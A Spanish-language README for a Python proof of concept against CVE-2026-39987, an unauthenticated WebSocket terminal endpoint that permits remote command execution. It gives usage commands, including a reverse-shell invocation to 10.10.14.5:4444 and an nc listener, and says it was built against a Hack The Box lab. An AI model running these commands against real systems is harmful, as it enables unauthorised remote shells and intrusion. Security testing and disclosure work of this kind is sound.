
Prueba de concepto en Python para CVE-2026-39987, que explota un endpoint de terminal WebSocket no autenticado para lograr ejecución remota de comandos y acceso a reverse shell.
Prueba de concepto para CVE-2026-39987, que demuestra la ejecución remota de comandos a través del endpoint de terminal WebSocket vulnerable.
Aviso legal: Esta PoC está destinada únicamente a pruebas de seguridad autorizadas y uso educativo. Úsala solo contra sistemas que poseas o para los que tengas permiso explícito de prueba.
La vulnerabilidad permite a un usuario no autenticado interactuar con el endpoint de terminal WebSocket de la aplicación y ejecutar comandos de forma remota.
La PoC se conecta a:
wss://<target>/terminal/ws
y demuestra la ejecución de comandos a través de la conexión WebSocket.
El objetivo utilizado durante el desarrollo/prueba de esta PoC fue un entorno de laboratorio autorizado de Hack The Box.
websocket-clientInstala la biblioteca requerida:
pip3 install websocket-client
python3 test.py <domain>
Ejemplo:
python3 test.py somesite.com
La PoC establece la conexión WebSocket y ejecuta un comando de prueba.
La PoC también admite una opción de reverse shell:
python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>
Ejemplo:
python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444
Inicia el listener antes de ejecutar la PoC:
nc -lvnp 4444
La aplicación expone un endpoint de terminal WebSocket sin requerir autenticación.
La PoC:
El ws.recv() inicial es importante porque el servidor envía el prompt del shell inmediatamente después de establecer la conexión.